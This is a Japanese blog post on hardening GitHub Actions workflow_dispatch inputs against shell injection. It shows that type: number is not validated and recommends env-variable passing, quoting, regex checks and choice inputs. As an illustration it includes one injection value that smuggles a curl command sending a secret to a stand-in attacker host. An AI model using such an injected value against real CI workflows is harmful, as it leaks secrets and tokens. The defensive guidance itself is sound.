CI/CD
PR

workflow_dispatchの入力でシェルインジェクションを防ぐ書き方|type: numberは数値チェックされない

saratogax
記事内に商品プロモーションを含む場合があります

GitHub Actions の workflow_dispatch で、入力を type: number にしておけば数値以外は入らない、と考えていませんか?

私もそう考えて、run: に入力を埋め込んでいた workflow の対策に使おうとしました。

ところが a を渡しても、workflow はそのまま起動します。

Run workflow のダイアログも数値以外の入力を止めず、値はそのまま run: のスクリプトまで届きます。

一方で choice と boolean は、許されていない値を GitHub が HTTP 422 で拒否します。

この記事では、入力の型ごとに GitHub が値を照合するかどうかと、型に頼らずシェルインジェクションを防ぐ書き方をまとめます。

なぜ run: に ${{ inputs.* }} を埋め込むと危ないのか

たとえば、次のような workflow です。

on:
  workflow_dispatch:
    inputs:
      day:
        description: 'day: e.g. 10'
        required: true

jobs:
  run:
    runs-on: ubuntu-latest
    steps:
      - run: |
          day=${{ github.event.inputs.day }}
          ./maintenance --day $day

${{ }} の式は、シェルが動く前にスクリプトの文字列として展開されます。

そのため、day に 5; curl https://attacker.example/ -d "$SECRET" のような値を渡されると、後ろのコマンドもそのまま実行されます。

いわゆるシェルインジェクション(スクリプトインジェクション)です。

手動実行できるのは書き込み権限を持つ人に限られますが、ステップに渡しているシークレットを読み出されたり、GITHUB_TOKEN を悪用されたりする経路になります。

type: number なら数値以外は弾かれるのか

入力に type: number を付けて試しました。

      day:
        description: 'day: e.g. 10'
        type: number
        required: true

この状態で、Actions の画面の「Run workflow」のダイアログから、day に a を入力して実行します。

結果は、エラーにならずに workflow が起動しました。

ダイアログの入力欄も、数値以外の入力を止めませんでした。

このときは、後で紹介するスクリプト側の形式チェックを先に入れていたので、ジョブの中で invalid day と出力して止まりました。

逆に言えば、スクリプト側のチェックがなければ、a はそのままシェルに渡っていたということです。

type: number は、注入の対策としては当てにできません。

GitHub が値を照合するのは choice と boolean

type: choice と type: boolean は事情が違います。

この 2 つは、画面からだけでなく REST API や gh workflow run から呼んだ場合でも、GitHub が値を照合します。

許されていない値を渡すと、run は作られずに HTTP 422 が返ります。

$ gh workflow run test-models.yml -f runner_label=sm86 -f test_id=TC-MODELS-016
could not create workflow dispatch event: HTTP 422: Provided value 'sm86' for input 'runner_label' not in the list of allowed values

これは、choice の選択肢にない値を渡した例です(dogkeeper886/ollama37#516)。

boolean でも、空の値が同じエラーで拒否された報告があります(cli/cli#5246)。

入力の型ごとに整理すると、次のようになります。

typeGitHub による値の照合注入の防御になるか
stringなしならない
numberなし(a で起動した)ならない
choice選択肢と照合(外れると 422)なる(ただし下の注意あり)
booleantrue / false と照合なる
※表は横スクロールできます

公式ドキュメントの Workflow syntax には使える型の一覧はありますが、どの型をサーバー側で照合するかは書かれていません。

名前から「number なら数値が保証される」と期待してしまいやすいので、注意してください。

choice でも過信はしない

choice の選択肢は、実行するブランチ(ref)の workflow ファイルから読まれます。

そのため、ブランチを push できる人が選択肢を書き換えれば、任意の値を渡せます。

また、後から誰かが入力を string に変えると、防御は黙って消えます。

choice は防御として効きますが、次に紹介する env 経由の書き方と組み合わせておくのが無難です。

対策: env 経由で渡し、スクリプトで形式をチェックする

信頼できない入力は、run: に直接書かず、中間の環境変数を経由して渡すのが基本です。

先ほどの workflow を直すと、次のようになります。

on:
  workflow_dispatch:
    inputs:
      day:
        description: 'day: e.g. 10'
        type: number
        required: true

permissions:
  contents: read

jobs:
  run:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v6
        with:
          persist-credentials: false
      - env:
          DAY: ${{ inputs.day }}
        run: |
          if [[ ! "$DAY" =~ ^[0-9]+$ ]]; then
            echo "invalid day"
            exit 1
          fi
          ./maintenance --day "$DAY"

ポイントは 3 つです。

  1. ${{ }} は env: にだけ書く。run: の中では "$DAY" のように環境変数として参照する。値はシェルの構文として解釈されず、ただの文字列として渡る
  2. 変数は必ず引用符で囲む。$DAY のままだと、空白を含む値で引数が分割される
  3. 使う前に形式をチェックする。^[0-9]+$ なら、a や負の数、5; echo INJECTED のような値はすべてここで止まる

env 経由にするだけで、注入そのものは防げます。

それでも形式をチェックするのは、想定外の値を受け取った先のプログラムが、おかしな動きをしないようにするためです。

あわせて、permissions で GITHUB_TOKEN の権限を読み取りだけにし、actions/checkout の persist-credentials: false でトークンをディスクに残さないようにしています。

万一何かを実行されても、できることを小さくしておくためです。

値が決まっているなら choice にする

入力の値が数個に決まっているなら、string のまま形式チェックをするより、choice にしてしまうほうが確実です。

私が直した別の workflow では、接続先の URL を自由入力で受け取っていました。

形式チェックでは「正しい形の URL」までしか絞れず、外部のサーバーを指定されると、そこへ DB の認証情報を送らされる経路が残ります。

実際に使う接続先は 1 つだけだったので、choice に固定しました。

「どんな形の値か」ではなく「どの値か」まで決められるなら、choice のほうが守りやすいです。

静的解析ツールに指摘されたときの判断

この違いは、静的解析ツールなどから「run: に入力を埋め込んでいる」と指摘されたときの判断にも関わります。

  • 入力がすべて choice / boolean で、トリガーが workflow_dispatch だけなら、GitHub の照合で任意の値は入らない。誤検知寄りと判断できる(env 経由へのハードニングは低い優先度で入れておく)
  • number の入力は、「数値型だから注入できない」とは判断できない。string と同じ扱いで直す
  • 同じ workflow に workflow_call のトリガーもある場合は別に考える。workflow_call の入力には choice 型がなく、呼び出し元から任意の文字列を渡せるので、choice の照合は当てにできない

まとめ

  • workflow_dispatch の type: number は、数値かどうかを GitHub が照合しない。画面のダイアログから a を入力しても workflow は起動した
  • choice と boolean は、API や gh workflow run から呼んでも照合され、外れた値は HTTP 422 で拒否される
  • 注入を防ぐ基本は、${{ }} を env: にだけ書き、run: では引用符付きの環境変数として使うこと
  • そのうえで、^[0-9]+$ のような形式チェックを入れ、値が決まっているものは choice にする

型を付けると、なんとなく安全になった気がします。

しかし number については、それはただの気のせいでした。

手元の workflow に、run: へ直接埋め込んだ ${{ inputs.* }} がないか、一度 grep してみてください。

workflow のセキュリティを見直すついでに、アクションの指定方法も確認したい人は、GitHub Actions のバージョン指定 vs コミットハッシュ指定もあわせてどうぞ。

参考(出典)

ABOUT ME
saratoga
saratoga
フリーランスエンジニア
仕事にも趣味にも IT を駆使するフリーランスエンジニア。技術的な TIPS や日々の生活の中で深堀りしてみたくなったことを備忘録として残していきます。
記事URLをコピーしました